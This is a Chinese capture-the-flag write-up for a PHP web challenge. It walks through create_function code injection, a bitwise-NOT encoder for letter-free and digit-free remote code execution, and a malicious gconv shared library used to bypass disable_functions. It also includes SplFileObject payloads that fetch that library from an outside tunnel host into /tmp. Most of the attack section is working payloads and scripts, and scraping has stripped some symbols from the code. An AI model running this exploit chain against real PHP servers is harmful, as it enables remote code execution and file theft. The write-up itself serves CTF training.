网站视频点播怎么做,深圳昊客网络推广,站长工具 seo综合查询,网站设计的优化文章目录 前置知识可变参数绕过create_function注入无字母数字RCE动态链接库so绕过disable_functions利用php原生类进行文件读取 解题过程 前置知识
可变参数绕过 PHP 在用户自定义函数中支持可变数量的参数列表。在 PHP 5.6 及以上的版本中#xff0c;由 … 语法实现#x… 文章目录 前置知识可变参数绕过create_function注入无字母数字RCE动态链接库so绕过disable_functions利用php原生类进行文件读取 解题过程 前置知识
可变参数绕过 PHP 在用户自定义函数中支持可变数量的参数列表。在 PHP 5.6 及以上的版本中由 … 语法实现在 PHP 5.5 及更早版本中使用函数func_num_args()func_get_arg()和 func_get_args() 。 本地测试下版本为7.3.4
?phpfunction sum(...$a){$c 0;foreach ($a as $n){$c $c $n;}return $c;
}echo sum(1,12,13);可以发现运行结果为26
create_function注入 create_function函数会在内部执行 eval函数 本地测试如下
?php
$args}system(whoami);//;
create_function(,$args);
?成功回显当然这里可以结合可变参数构造如下
$args[,}system(whoami);//];
create_function(...$args);无字母数字RCE
这里用的是取反结合异或[!%FF] 脚本如下
# -*- coding: utf-8 -*
# /usr/bin/python3
# Author:Firebasky
exp
def urlbm(s):ss for each in s:ss % str(hex(255 - ord(each)))[2:]return f[~{ss}][!%FF](
while True:fun input(Firebasky: ).strip()).split(()exp for each in fun[:-1]:exp urlbm(each)print(exp)exp ) * (len(fun) - 1) ;print(exp)比如构造call_user_func(...unserialize(end(getallheaders())));
[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));动态链接库so绕过disable_functions
创建payload.c 把读取的flag写到./tmp/1
#include stdio.h
#include stdlib.hvoid gconv() {}void gconv_init() {puts(pwned);system(bash -c /readflag /tmp/1);exit(0);
}从目标文件生成动态链接库
gcc payload.c -o payload.so -shared -fPIC利用点 linux系统提供了一个环境变量GCONV_PATH该环境变量能够使glibc使用用户自定义的gconv-modules文件因此如果指定了GCONV_PATH的值iconv_open函数的执行过程会如下
iconv_open函数依照GCONV_PATH找到gconv-modules文件。根据gconv-modules文件的指示找到参数对应的.so文件。调用.so文件中的gconv()和gonv_init()函数。
gconv-modules文件格式
module 自定义字符集名字大写// INTERNAL ../../../../../../../../tmp/自定义字符集名字小写 2
module INTERNAL 自定义字符集名字大写// ../../../../../../../../tmp/自定义字符集名字小写 2所以本题对应的是
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2利用php原生类进行文件读取 SplFileObject是标准的文件操作类用来进行文件读取 我们可以在服务器的根目录上启动服务写入gconv-modules和payload.so文件然后再利用原生类读取公网ip也就是映射的服务器的文件
a$urlhttps://5i781963p2.yicp.fun:443/payload.so;$file1new SplFileObject($url,r);$a;while(!$file1-eof()){$a$a.$file1-fgets();}$file2 new SplFileObject(/tmp/payload.so,w);$file2-fwrite($a);a$urlhttps://5i781963p2.yicp.fun:443/gconv-modules;$file1new SplFileObject($url,r);$a;while(!$file1-eof()){$a$a.$file1-fgets();}$file2 new SplFileObject(/tmp/gconv-modules,w);$file2-fwrite($a);再用伪协议触发
aputenv(GCONV_PATH/tmp/);show_source(php://filter/readconvert.iconv.payload.utf-8/resource/tmp/payload.so);最后高光读取即可
解题过程
源码如下
?php
if(isset($_POST[cmd])){$code $_POST[cmd];if(preg_match(/[A-Za-z0-9]|\|||\ |,|-|\||\/|\\|||\$|\?|\^||\|/ixm,$code)){die(scriptalert(\Try harder!\);history.back()/script);}else if(; preg_replace(/[^\s\(\)]?\((?R)?\)/, , $code)){eval($code);die();}
} else {highlight_file(__FILE__);var_dump(ini_get(disable_functions));
}
?可以发现无字母数字RCE同时是也是无参的然后提示禁用的函数 这里我们可以fuzz测试下能用的
def find_missing_words(target_file_path, search_file_path):with open(target_file_path, r) as target_file:target_words set(target_file.read().replace(,, ).split())with open(search_file_path, r) as search_file:search_words set(search_file.read().replace(,, ).split())missing_words target_words - search_wordsreturn missing_words# 指定目标查找文件的路径
target_file_path php函数字典.txt# 指定被查找文件的路径
search_file_path search.txt# 调用函数查找未被找到的函数
missing_words find_missing_words(target_file_path, search_file_path)# 打印未被找到的单词
if missing_words:print(以下函数未被找到)for word in missing_words:print(word)
else:print(所有函数都被找到了。)其中search.txt即为提示的禁用函数 跑出来结果如下 那么我们可以构造call_user_func(...unserialize(end(getallheaders()))); exp如下
?php
highlight_file(__FILE__);
$a[,}eval($_POST[a]);//];
$strserialize($a);
echo $str;然后再利用前置知识给出的取反脚本成功执行phpinfo() 然后就发现其他命令用不了这时候就只能利用.so文件绕过 创建payload.so
#include stdio.h
#include stdlib.hvoid gconv() {}void gconv_init() {puts(pwned);system(bash -c /readflag /tmp/1);exit(0);
}从目标文件生成动态链接库
gcc payload.c -o payload.so -shared -fPIC然后再生成gconv-modules文件
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2然后在kali下的根目录下开启服务器 注意我公网映射的端口为8000
python3 -m http.server 8000把前面提到的两个文件mv到根目录下 然后利用原生类去分别读取两个文件
a$urlhttps://5i781963p2.yicp.fun:443/payload.so;$file1new SplFileObject($url,r);$a;while(!$file1-eof()){$a$a.$file1-fgets();}$file2 new SplFileObject(/tmp/payload.so,w);$file2-fwrite($a);a$urlhttps://5i781963p2.yicp.fun:443/gconv-modules;$file1new SplFileObject($url,r);$a;while(!$file1-eof()){$a$a.$file1-fgets();}$file2 new SplFileObject(/tmp/gconv-modules,w);$file2-fwrite($a);注意回显为200才是成功 然后就是伪协议触发
aputenv(GCONV_PATH/tmp/);show_source(php://filter/readconvert.iconv.payload.utf-8/resource/tmp/payload.so);然后高光读取得到flag